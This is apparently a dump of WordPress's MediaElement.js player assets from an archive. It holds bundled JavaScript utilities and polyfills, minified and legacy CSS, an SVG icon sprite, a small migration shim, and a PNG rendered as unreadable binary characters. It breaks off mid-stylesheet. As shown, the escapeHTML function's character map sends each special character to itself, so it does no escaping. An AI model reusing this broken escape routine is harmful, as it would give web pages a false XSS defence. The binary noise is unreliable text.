ajax(url, dataType, success, error) { var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); var type = 'application/x-www-form-urlencoded; charset=UTF-8', completed = false, accept = '*/'.concat('*'); switch (dataType) { case 'text': type = 'text/plain'; break; case 'json': type = 'application/json, text/javascript'; break; case 'html': type = 'text/html'; break; case 'xml': type = 'application/xml, text/xml'; break; } if (type !== 'application/x-www-form-urlencoded') { accept = type + ', */*; q=0.01'; } if (xhr) { xhr.open('GET', url, true); xhr.setRequestHeader('Accept', accept); xhr.onreadystatechange = function () { if (completed) { return; } if (xhr.readyState === 4) { if (xhr.status === 200) { completed = true; var data = void 0; switch (dataType) { case 'json': data = JSON.parse(xhr.responseText); break; case 'xml': data = xhr.responseXML; break; default: data = xhr.responseText; break; } success(data); } else if (typeof error === 'function') { error(xhr.status); } } }; xhr.send(); } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.offset = offset; _mejs2.default.Utils.hasClass = hasClass; _mejs2.default.Utils.addClass = addClass; _mejs2.default.Utils.removeClass = removeClass; _mejs2.default.Utils.toggleClass = toggleClass; _mejs2.default.Utils.fadeIn = fadeIn; _mejs2.default.Utils.fadeOut = fadeOut; _mejs2.default.Utils.siblings = siblings; _mejs2.default.Utils.visible = visible; _mejs2.default.Utils.ajax = ajax; _mejs2.default.Utils.loadScript = loadScript; },{"2":2,"3":3,"7":7}],18:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.escapeHTML = escapeHTML; exports.debounce = debounce; exports.isObjectEmpty = isObjectEmpty; exports.splitEvents = splitEvents; exports.createEvent = createEvent; exports.isNodeAfter = isNodeAfter; exports.isString = isString; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function escapeHTML(input) { if (typeof input !== 'string') { throw new Error('Argument passed must be a string'); } var map = { '&': '&', '<': '<', '>': '>', '"': '"' }; return input.replace(/[&<>"]/g, function (c) { return map[c]; }); } function debounce(func, wait) { var _this = this, _arguments = arguments; var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (typeof func !== 'function') { throw new Error('First argument must be a function'); } if (typeof wait !== 'number') { throw new Error('Second argument must be a numeric value'); } var timeout = void 0; return function () { var context = _this, args = _arguments; var later = function later() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } function isObjectEmpty(instance) { return Object.getOwnPropertyNames(instance).length <= 0; } function splitEvents(events, id) { var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/; var ret = { d: [], w: [] }; (events || '').split(' ').forEach(function (v) { var eventName = '' + v + (id ? '.' + id : ''); if (eventName.startsWith('.')) { ret.d.push(eventName); ret.w.push(eventName); } else { ret[rwindow.test(v) ? 'w' : 'd'].push(eventName); } }); ret.d = ret.d.join(' '); ret.w = ret.w.join(' '); return ret; } function createEvent(eventName, target) { if (typeof eventName !== 'string') { throw new Error('Event name must be a string'); } var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i), detail = { target: target }; if (eventFrags !== null) { eventName = eventFrags[1]; detail.namespace = eventFrags[2]; } return new window.CustomEvent(eventName, { detail: detail }); } function isNodeAfter(sourceNode, targetNode) { return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2); } function isString(value) { return typeof value === 'string'; } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.escapeHTML = escapeHTML; _mejs2.default.Utils.debounce = debounce; _mejs2.default.Utils.isObjectEmpty = isObjectEmpty; _mejs2.default.Utils.splitEvents = splitEvents; _mejs2.default.Utils.createEvent = createEvent; _mejs2.default.Utils.isNodeAfter = isNodeAfter; _mejs2.default.Utils.isString = isString; },{"7":7}],19:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.typeChecks = undefined; exports.absolutizeUrl = absolutizeUrl; exports.formatType = formatType; exports.getMimeFromType = getMimeFromType; exports.getTypeFromFile = getTypeFromFile; exports.getExtension = getExtension; exports.normalizeExtension = normalizeExtension; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(18); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var typeChecks = exports.typeChecks = []; function absolutizeUrl(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var el = document.createElement('div'); el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>'; return el.firstChild.href; } function formatType(url) { var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; return url && !type ? getTypeFromFile(url) : type; } function getMimeFromType(type) { if (typeof type !== 'string') { throw new Error('`type` argument must be a string'); } return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type; } function getTypeFromFile(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } for (var i = 0, total = typeChecks.length; i < total; i++) { var type = typeChecks[i](url); if (type) { return type; } } var ext = getExtension(url), normalizedExt = normalizeExtension(ext); var mime = 'video/mp4'; if (normalizedExt) { if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg'].indexOf(normalizedExt)) { mime = 'video/' + normalizedExt; } else if ('mov' === normalizedExt) { mime = 'video/quicktime'; } else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) { mime = 'audio/' + normalizedExt; } } return mime; } function getExtension(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var baseUrl = url.split('?')[0], baseName = baseUrl.split('\\').pop().split('/').pop(); return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : ''; } function normalizeExtension(extension) { if (typeof extension !== 'string') { throw new Error('`extension` argument must be a string'); } switch (extension) { case 'mp4': case 'm4v': return 'mp4'; case 'webm': case 'webma': case 'webmv': return 'webm'; case 'ogg': case 'oga': case 'ogv': return 'ogg'; default: return extension; } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.typeChecks = typeChecks; _mejs2.default.Utils.absolutizeUrl = absolutizeUrl; _mejs2.default.Utils.formatType = formatType; _mejs2.default.Utils.getMimeFromType = getMimeFromType; _mejs2.default.Utils.getTypeFromFile = getTypeFromFile; _mejs2.default.Utils.getExtension = getExtension; _mejs2.default.Utils.normalizeExtension = normalizeExtension; },{"18":18,"7":7}],20:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _promisePolyfill = _dereq_(4); var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); (function () { if (typeof window.CustomEvent === 'function') { return false; } function CustomEvent(event, params) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = _document2.default.createEvent('CustomEvent'); evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; })(); if (typeof Object.assign !== 'function') { Object.assign = function (target) { if (target === null || target === undefined) { throw new TypeError('Cannot convert undefined or null to object'); } var to = Object(target); for (var index = 1, total = arguments.length; index < total; index++) { var nextSource = arguments[index]; if (nextSource !== null) { for (var nextKey in nextSource) { if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { to[nextKey] = nextSource[nextKey]; } } } } return to; }; } if (!String.prototype.startsWith) { String.prototype.startsWith = function (searchString, position) { position = position || 0; return this.substr(position, searchString.length) === searchString; }; } if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = matches.length - 1; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = void 0, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {} } while (i < 0 && (el = el.parentElement)); return el; }; } (function () { var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function () { callback(currTime + timeToCall); }, timeToCall); lastTime = currTime + timeToCall; return id; }; if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) { clearTimeout(id); }; })(); if (/firefox/i.test(navigator.userAgent)) { var getComputedStyle = window.getComputedStyle; window.getComputedStyle = function (el, pseudoEl) { var t = getComputedStyle(el, pseudoEl); return t === null ? { getPropertyValue: function getPropertyValue() {} } : t; }; } if (!window.Promise) { window.Promise = _promisePolyfill2.default; } (function (constructor) { if (constructor && constructor.prototype && constructor.prototype.children === null) { Object.defineProperty(constructor.prototype, 'children', { get: function get() { var i = 0, node = void 0, nodes = this.childNodes, children = []; while (node = nodes[i++]) { if (node.nodeType === 1) { children.push(node); } } return children; } }); } })(window.Node || window.Element); },{"2":2,"4":4}]},{},[20,6,5,9,14,11,10,12,13,15]); mediaelement/wp-mediaelement.min.css 0000644 00000010132 15111757753 0013557 0 ustar 00 .mejs-container{clear:both;max-width:100%}.mejs-container *{font-family:Helvetica,Arial}.mejs-container,.mejs-container .mejs-controls,.mejs-embed,.mejs-embed body{background:#222}.mejs-time{font-weight:400;word-wrap:normal}.mejs-controls a.mejs-horizontal-volume-slider{display:table}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-time-rail .mejs-time-loaded{background:#fff}.mejs-controls .mejs-time-rail .mejs-time-current{background:#0073aa}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail .mejs-time-total{background:rgba(255,255,255,.33)}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail span{border-radius:0}.mejs-overlay-loading{background:0 0}.mejs-controls button:hover{border:none;-webkit-box-shadow:none;box-shadow:none}.me-cannotplay{width:auto!important}.media-embed-details .wp-audio-shortcode{display:inline-block;max-width:400px}.audio-details .embed-media-settings{overflow:visible}.media-embed-details .embed-media-settings .setting span:not(.button-group){max-width:400px;width:auto}.media-embed-details .embed-media-settings .checkbox-setting span{display:inline-block}.media-embed-details .embed-media-settings{padding-top:0;top:28px}.media-embed-details .instructions{padding:16px 0;max-width:600px}.media-embed-details .setting .remove-setting,.media-embed-details .setting p{color:#a00;font-size:10px;text-transform:uppercase}.media-embed-details .setting .remove-setting{padding:5px 0}.media-embed-details .setting a:hover{color:#dc3232}.media-embed-details .embed-media-settings .checkbox-setting{float:none;margin:0 0 10px}.wp-video{max-width:100%;height:auto}.wp_attachment_holder .wp-audio-shortcode,.wp_attachment_holder .wp-video{margin-top:18px}.wp-video-shortcode video,video.wp-video-shortcode{max-width:100%;display:inline-block}.video-details .wp-video-holder{width:100%;max-width:640px}.wp-playlist{border:1px solid #ccc;padding:10px;margin:12px 0 18px;font-size:14px;line-height:1.5}.wp-admin .wp-playlist{margin:0 0 18px}.wp-playlist video{display:inline-block;max-width:100%}.wp-playlist audio{display:none;max-width:100%;width:400px}.wp-playlist .mejs-container{margin:0;max-width:100%}.wp-playlist .mejs-controls .mejs-button button{outline:0}.wp-playlist-light{background:#fff;color:#000}.wp-playlist-dark{color:#fff;background:#000}.wp-playlist-caption{display:block;max-width:88%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:14px;line-height:1.5}.wp-playlist-item .wp-playlist-caption{text-decoration:none;color:#000;max-width:-webkit-calc(100% - 40px);max-width:calc(100% - 40px)}.wp-playlist-item-meta{display:block;font-size:14px;line-height:1.5}.wp-playlist-item-title{font-size:14px;line-height:1.5}.wp-playlist-item-album{font-style:italic;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-playlist-item-artist{font-size:12px;text-transform:uppercase}.wp-playlist-item-length{position:absolute;right:3px;top:0;font-size:14px;line-height:1.5}.rtl .wp-playlist-item-length{left:3px;right:auto}.wp-playlist-tracks{margin-top:10px}.wp-playlist-item{position:relative;cursor:pointer;padding:0 3px;border-bottom:1px solid #ccc}.wp-playlist-item:last-child{border-bottom:0}.wp-playlist-light .wp-playlist-caption{color:#333}.wp-playlist-dark .wp-playlist-caption{color:#ddd}.wp-playlist-playing{font-weight:700;background:#f7f7f7}.wp-playlist-light .wp-playlist-playing{background:#fff;color:#000}.wp-playlist-dark .wp-playlist-playing{background:#000;color:#fff}.wp-playlist-current-item{overflow:hidden;margin-bottom:10px;height:60px}.wp-playlist .wp-playlist-current-item img{float:left;max-width:60px;height:auto;margin-right:10px;padding:0;border:0}.rtl .wp-playlist .wp-playlist-current-item img{float:right;margin-left:10px;margin-right:0}.wp-playlist-current-item .wp-playlist-item-artist,.wp-playlist-current-item .wp-playlist-item-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-audio-playlist .me-cannotplay span{padding:5px 15px} mediaelement/mejs-controls.svg 0000644 00000010766 15111757753 0012543 0 ustar 00 <svg xmlns="http://www.w3.org/2000/svg" width="400" height="120" viewBox="0 0 400 120"><style>.st0{fill:#FFFFFF;width:16px;height:16px} .st1{fill:none;stroke:#FFFFFF;stroke-width:1.5;stroke-linecap:round;} .st2{fill:none;stroke:#FFFFFF;stroke-width:2;stroke-linecap:round;} .st3{fill:none;stroke:#FFFFFF;} .st4{fill:#231F20;} .st5{opacity:0.75;fill:none;stroke:#FFFFFF;stroke-width:5;enable-background:new;} .st6{fill:none;stroke:#FFFFFF;stroke-width:5;} .st7{opacity:0.4;fill:#FFFFFF;enable-background:new;} .st8{opacity:0.6;fill:#FFFFFF;enable-background:new;} .st9{opacity:0.8;fill:#FFFFFF;enable-background:new;} .st10{opacity:0.9;fill:#FFFFFF;enable-background:new;} .st11{opacity:0.3;fill:#FFFFFF;enable-background:new;} .st12{opacity:0.5;fill:#FFFFFF;enable-background:new;} .st13{opacity:0.7;fill:#FFFFFF;enable-background:new;}</style><path class="st0" d="M16.5 8.5c.3.1.4.5.2.8-.1.1-.1.2-.2.2l-11.4 7c-.5.3-.8.1-.8-.5V2c0-.5.4-.8.8-.5l11.4 7z"/><path class="st0" d="M24 1h2.2c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1H24c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1zm9.8 0H36c.6 0 1 .4 1 1v14c0 .6-.4 1-1 1h-2.2c-.6 0-1-.4-1-1V2c0-.5.4-1 1-1z"/><path class="st0" d="M81 1.4c0-.6.4-1 1-1h5.4c.6 0 .7.3.3.7l-6 6c-.4.4-.7.3-.7-.3V1.4zm0 15.8c0 .6.4 1 1 1h5.4c.6 0 .7-.3.3-.7l-6-6c-.4-.4-.7-.3-.7.3v5.4zM98.8 1.4c0-.6-.4-1-1-1h-5.4c-.6 0-.7.3-.3.7l6 6c.4.4.7.3.7-.3V1.4zm0 15.8c0 .6-.4 1-1 1h-5.4c-.6 0-.7-.3-.3-.7l6-6c.4-.4.7-.3.7.3v5.4z"/><path class="st0" d="M112.7 5c0 .6.4 1 1 1h4.1c.6 0 .7-.3.3-.7L113.4.6c-.4-.4-.7-.3-.7.3V5zm-7.1 1c.6 0 1-.4 1-1V.9c0-.6-.3-.7-.7-.3l-4.7 4.7c-.4.4-.3.7.3.7h4.1zm1 7.1c0-.6-.4-1-1-1h-4.1c-.6 0-.7.3-.3.7l4.7 4.7c.4.4.7.3.7-.3v-4.1zm7.1-1c-.6 0-1 .4-1 1v4.1c0 .5.3.7.7.3l4.7-4.7c.4-.4.3-.7-.3-.7h-4.1z"/><path class="st0" d="M67 5.8c-.5.4-1.2.6-1.8.6H62c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L67 5.8z"/><path class="st1" d="M73.9 2.5s3.9-.8 3.9 7.7-3.9 7.8-3.9 7.8"/><path class="st1" d="M72.6 6.4s2.6-.4 2.6 3.8-2.6 3.9-2.6 3.9"/><path class="st0" d="M47 5.8c-.5.4-1.2.6-1.8.6H42c-.6 0-1 .4-1 1v5.7c0 .6.4 1 1 1h4.2c.3.2.5.4.8.6l3.5 2.6c.4.3.8.1.8-.4V3.5c0-.5-.4-.7-.8-.4L47 5.8z"/><path class="st2" d="M52.8 7l5.4 5.4m-5.4 0L58.2 7"/><path class="st3" d="M128.7 8.6c-6.2-4.2-6.5 7.8 0 3.9m6.5-3.9c-6.2-4.2-6.5 7.8 0 3.9"/><path class="st0" d="M122.2 3.4h15.7v13.1h-15.7V3.4zM120.8 2v15.7h18.3V2h-18.3z"/><path class="st0" d="M143.2 3h14c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2h-14c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2z"/><path class="st4" d="M146.4 13.8c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.6.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.7.5-1.6.7-2.5.8zm7.5 0c-.8 0-1.6-.4-2.1-1-1.1-1.4-1-3.4.1-4.8.5-.6 2-1.7 4.6.2l-.5.8c-1.4-1-2.6-1.1-3.3-.3-.8 1-.8 2.4-.1 3.5.7.9 1.9.8 3.4-.1l.5.9c-.8.5-1.7.7-2.6.8z"/><path class="st0" d="M60.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L30 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L60.3 77z"/><path class="st5" d="M2.5 79c0-20.7 16.8-37.5 37.5-37.5S77.5 58.3 77.5 79 60.7 116.5 40 116.5 2.5 99.7 2.5 79z"/><path class="st0" d="M140.3 77c.6.2.8.8.6 1.4-.1.3-.3.5-.6.6L110 96.5c-1 .6-1.7.1-1.7-1v-35c0-1.1.8-1.5 1.7-1L140.3 77z"/><path class="st6" d="M82.5 79c0-20.7 16.8-37.5 37.5-37.5s37.5 16.8 37.5 37.5-16.8 37.5-37.5 37.5S82.5 99.7 82.5 79z"/><circle class="st0" cx="201.9" cy="47.1" r="8.1"/><circle class="st7" cx="233.9" cy="79" r="5"/><circle class="st8" cx="201.9" cy="110.9" r="6"/><circle class="st9" cx="170.1" cy="79" r="7"/><circle class="st10" cx="178.2" cy="56.3" r="7.5"/><circle class="st11" cx="226.3" cy="56.1" r="4.5"/><circle class="st12" cx="225.8" cy="102.8" r="5.5"/><circle class="st13" cx="178.2" cy="102.8" r="6.5"/><path class="st0" d="M178 9.4c0 .4-.4.7-.9.7-.1 0-.2 0-.2-.1L172 8.2c-.5-.2-.6-.6-.1-.8l6.2-3.6c.5-.3.8-.1.7.5l-.8 5.1z"/><path class="st0" d="M169.4 15.9c-1 0-2-.2-2.9-.7-2-1-3.2-3-3.2-5.2.1-3.4 2.9-6 6.3-6 2.5.1 4.8 1.7 5.6 4.1l.1-.1 2.1 1.1c-.6-4.4-4.7-7.5-9.1-6.9-3.9.6-6.9 3.9-7 7.9 0 2.9 1.7 5.6 4.3 7 1.2.6 2.5.9 3.8 1 2.6 0 5-1.2 6.6-3.3l-1.8-.9c-1.2 1.2-3 2-4.8 2z"/><path class="st0" d="M183.4 3.2c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5zm-5.1 5c.8 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5-1.5-.7-1.5-1.5c0-.9.7-1.5 1.5-1.5zm5.1 0h8.5c.9 0 1.5.7 1.5 1.5s-.7 1.5-1.5 1.5h-8.5c-.9 0-1.5-.7-1.5-1.5-.1-.9.6-1.5 1.5-1.5z"/></svg> mediaelement/mediaelement-migrate.min.js 0000644 00000002247 15111757753 0014415 0 ustar 00 !function(a){void 0===mejs.plugins&&(mejs.plugins={},mejs.plugins.silverlight=[],mejs.plugins.silverlight.push({types:[]})),mejs.HtmlMediaElementShim=mejs.HtmlMediaElementShim||{getTypeFromFile:mejs.Utils.getTypeFromFile},void 0===mejs.MediaFeatures&&(mejs.MediaFeatures=mejs.Features),void 0===mejs.Utility&&(mejs.Utility=mejs.Utils);var e=MediaElementPlayer.prototype.init,t=(MediaElementPlayer.prototype.init=function(){this.options.classPrefix="mejs-",this.$media=this.$node=a(this.node),e.call(this)},MediaElementPlayer.prototype._meReady);MediaElementPlayer.prototype._meReady=function(){this.container=a(this.container),this.controls=a(this.controls),this.layers=a(this.layers),t.apply(this,arguments)},MediaElementPlayer.prototype.getElement=function(e){return void 0!==a&&e instanceof a?e[0]:e},MediaElementPlayer.prototype.buildfeatures=function(e,t,i,s){for(var l=["playpause","current","progress","duration","tracks","volume","fullscreen"],r=0,n=this.options.features.length;r<n;r++){var o=this.options.features[r];if(this["build"+o])try{-1===l.indexOf(o)?this["build"+o](e,a(t),a(i),s):this["build"+o](e,t,i,s)}catch(e){console.error("error building "+o,e)}}}}((window,jQuery)); mediaelement/mejs-controls.png 0000644 00000005503 15111757753 0012521 0 ustar 00 �PNG IHDR � x �T� PLTE ���������������������������������������������������?;<# LIJ������hef1-.vst��㟝������ǃ��ZWX�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������%7 ^tRNS ��0��P� @�`�p�����������������<w�H���$T+9V���'sM5d �:?"�3��f YS�&-o�N�8X�hx��i|Fxϋ zIDATx옇r��E7�@K����'ߛAէ.����r��N��[�u:� ɻ���/?�^?�>hK�$y �'H�,?Y�7,4�-?�~����`�2���/Z�2G%�|��想�v0��Dz�PC9���O cК����%�3�|��v8ӅY#��4�e������>!���`B6Y��$�aF��N��т��� �9�>�8E�(�>�p��BR�g��r�:�d>̈R�4 L�B��+vOP��*c��B �}!�{�������͠��,�3�~^H�85�0�w)��B8 ��"5UbFH�3I�6� ���M���� ��]�?�B�I��nt?|�_eRu"�g����G�5�ujBx���y�������'Ț��(}�K��B�0o2������WL�@�|���Y� c���߲B�@-!�W��v6�V�M��Z�Q��J}+��H�q�E�\�»?]!�����3��G�JH�+�ZV>"J ��cjr���0���!��t�5�Z�X���c]b�1IJ���w�$VF|id{ah���첦҄����ܾ�_>�CV["%��_�����=֠�w.+�$0#�jFV��߽0t��K����!B��N'I`F�Ԍ����>::k�R?����zFI`F�Ԍ���?\�/�#3��,T�u URj>����}%8�Q �H�D�^�'����E������GݖJN��P�!��/��|�ݰ��~,�1�4�0�0�0�0�0�0�0�0��J�ņ�6b-WKt�Ml��n,d�=��;��s�A�����n���J �����%tÓ�,�`����~��&s��|����7� Erǔv2B�=u��v����`Ì�2���j9m#��u$g��c���GqL��&���l�e�~��f#�h��� Ҏ��7M�4/� -�Ҏ��O�����1�`X�v�-*lE�#4fI��Dɒ�fh�t Qr�Zs(�ur�$G+�Wv�Jv���Z҈\АY��G#��ھ22T����G�áɴ��_?�^ 8���w8*���&NH�����PK$ԉp����i9_�w���e*9���!Q�T%Byب�V'r;&�O ��{�Y�͛��~Ώ�yVh`uh R�3A��CJ�;f�"!)��,���l��h��e��P�ځ�XVa�.w=f�d�OUO�:�w���H٣`�<J���1G �Y�ᄐ}�}��2�$�G��Z�A�T��ǜrJ���t����*Ͳ�� Z�Td�NHB�3B�ҝ�2X�/��ѷ����-kK-��x�a�n'��;s�����@��(ްQ�] ͞�����q=��c� 5����}B{ζ�?5��0��sd�z�t�{n�@���קO��[�܃��%����.�X�y9&ng�����%��pZ"�����/�����a���q*������ؔn7�PϢ����/��M<c�V%�H�_k����~�z>���=M�}�^�)�O�4a��Ѽ�EG,j q���ե��u� u�e��=Ww�{=�r�ku �:��θ�k�k �r���g,ٽ��s��,i��4�83�,Zz��w�G��èСw}S�6�wB��\/�W��70���!"�*�?�;���acg�̄��g���)��H�Z�����o��.r���' ��zO���QxÑ},1=����o->��z��QXbڴ�pL��Q�pXo��J�Y0�b�DQ����!^"��y��ֳU4�;,?���Vl���D:�Y�&���m��a@lT2l�!���y|b��^%�1t�D���O����S0A/�i�QC<=5��% �����iܒ�Vb����Ӡ�m��A��텞n{q0�Hu���Ӄ!R'�@V�z5S'�\��.g%���EF�J��w�i��sA�`#tA=���\�(A� z�+\-r@��ȁ�-b�1ʀ��*�B9�~ �A�U(���(�f��2�ޡؚ�>�bk�m[��[���`�hG�����5� )�k���agᷴ���k��A���F�8���84��4}F�'H��9���ql��f�E~[4�� =�*�9rzf�$� {x�R �LIN��h J3���ze*�I>Cy��96`����L�}�!����f�0�c���aL���a�KG�`�E6aD.����}�U���怎�ͽ|-�i��)l����A�`�����0,*Z�����`^~��~��K�e� yl�|�v�0�Q��S/�bZ&�\V,@��.jHs�<�_�4�Q0pY�Z�l�o!���Ї%��ґ�'-}z��M��9 y�qb���w+ʼ��ԺR?�H� IEND�B`� mediaelement/mediaelementplayer-legacy.css 0000644 00000036616 15111757753 0015047 0 ustar 00 /* Accessibility: hide screen reader texts (and prefer "top" for RTL languages). Reference: http://blog.rrwd.nl/2015/04/04/the-screen-reader-text-class-why-and-how/ */ .mejs-offscreen { border: 0; clip: rect( 1px, 1px, 1px, 1px ); -webkit-clip-path: inset( 50% ); clip-path: inset( 50% ); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal; } .mejs-container { background: #000; box-sizing: border-box; font-family: 'Helvetica', Arial, serif; position: relative; text-align: left; text-indent: 0; vertical-align: top; } .mejs-container * { box-sizing: border-box; } /* Hide native play button and control bar from iOS to favor plugin button */ .mejs-container video::-webkit-media-controls, .mejs-container video::-webkit-media-controls-panel, .mejs-container video::-webkit-media-controls-panel-container, .mejs-container video::-webkit-media-controls-start-playback-button { -webkit-appearance: none; display: none !important; } .mejs-fill-container, .mejs-fill-container .mejs-container { height: 100%; width: 100%; } .mejs-fill-container { background: transparent; margin: 0 auto; overflow: hidden; position: relative; } .mejs-container:focus { outline: none; } .mejs-iframe-overlay { height: 100%; position: absolute; width: 100%; } .mejs-embed, .mejs-embed body { background: #000; height: 100%; margin: 0; overflow: hidden; padding: 0; width: 100%; } .mejs-fullscreen { overflow: hidden !important; } .mejs-container-fullscreen { bottom: 0; left: 0; overflow: hidden; position: fixed; right: 0; top: 0; z-index: 1000; } .mejs-container-fullscreen .mejs-mediaelement, .mejs-container-fullscreen video { height: 100% !important; width: 100% !important; } /* Start: LAYERS */ .mejs-background { left: 0; position: absolute; top: 0; } .mejs-mediaelement { height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 0; } .mejs-poster { background-position: 50% 50%; background-repeat: no-repeat; background-size: cover; left: 0; position: absolute; top: 0; z-index: 1; } :root .mejs-poster-img { display: none; } .mejs-poster-img { border: 0; padding: 0; } .mejs-overlay { -webkit-box-align: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; left: 0; position: absolute; top: 0; } .mejs-layer { z-index: 1; } .mejs-overlay-play { cursor: pointer; } .mejs-overlay-button { background: url('mejs-controls.svg') no-repeat; background-position: 0 -39px; height: 80px; width: 80px; } .mejs-overlay:hover > .mejs-overlay-button { background-position: -80px -39px; } .mejs-overlay-loading { height: 80px; width: 80px; } .mejs-overlay-loading-bg-img { -webkit-animation: mejs-loading-spinner 1s linear infinite; animation: mejs-loading-spinner 1s linear infinite; background: transparent url('mejs-controls.svg') -160px -40px no-repeat; display: block; height: 80px; width: 80px; z-index: 1; } @-webkit-keyframes mejs-loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes mejs-loading-spinner { 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } /* End: LAYERS */ /* Start: CONTROL BAR */ .mejs-controls { bottom: 0; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; height: 40px; left: 0; list-style-type: none; margin: 0; padding: 0 10px; position: absolute; width: 100%; z-index: 3; } .mejs-controls:not([style*='display: none']) { background: rgba(255, 0, 0, 0.7); background: -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.35)); background: linear-gradient(transparent, 